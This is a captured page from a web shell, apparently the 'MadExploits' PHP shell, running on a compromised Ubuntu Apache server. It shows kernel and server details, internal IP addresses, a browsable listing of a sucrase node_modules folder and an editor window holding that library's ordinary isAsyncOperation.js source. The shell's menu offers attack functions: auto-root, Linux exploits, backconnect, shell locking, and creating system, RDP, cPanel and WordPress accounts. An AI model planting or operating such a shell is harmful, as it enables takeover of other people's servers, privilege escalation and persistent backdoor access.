Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
sucrase /
dist /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
elideImportEquals.js
743
B
-rw-r--r--
formatTokens.js
2.37
KB
-rw-r--r--
getClassInfo.js
11.18
KB
-rw-r--r--
getDeclarationInfo.js
1.51
KB
-rw-r--r--
getIdentifierNames.js
472
B
-rw-r--r--
getImportExportSpecifierInfo.j...
2.08
KB
-rw-r--r--
getJSXPragmaInfo.js
589
B
-rw-r--r--
getNonTypeIdentifiers.js
2.03
KB
-rw-r--r--
getTSImportedNames.js
2.6
KB
-rw-r--r--
isAsyncOperation.js
1.34
KB
-rw-r--r--
isExportFrom.js
742
B
-rw-r--r--
isIdentifier.js
1.87
KB
-rw-r--r--
removeMaybeImportAttributes.js
784
B
-rw-r--r--
shouldElideDefaultExport.js
1.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : isAsyncOperation.js
"use strict";Object.defineProperty(exports, "__esModule", {value: true});var _keywords = require('../parser/tokenizer/keywords'); /** * Determine whether this optional chain or nullish coalescing operation has any await statements in * it. If so, we'll need to transpile to an async operation. * * We compute this by walking the length of the operation and returning true if we see an await * keyword used as a real await (rather than an object key or property access). Nested optional * chain/nullish operations need to be tracked but don't silence await, but a nested async function * (or any other nested scope) will make the await not count. */ function isAsyncOperation(tokens) { let index = tokens.currentIndex(); let depth = 0; const startToken = tokens.currentToken(); do { const token = tokens.tokens[index]; if (token.isOptionalChainStart) { depth++; } if (token.isOptionalChainEnd) { depth--; } depth += token.numNullishCoalesceStarts; depth -= token.numNullishCoalesceEnds; if ( token.contextualKeyword === _keywords.ContextualKeyword._await && token.identifierRole == null && token.scopeDepth === startToken.scopeDepth ) { return true; } index += 1; } while (depth > 0 && index < tokens.tokens.length); return false; } exports.default = isAsyncOperation;
Close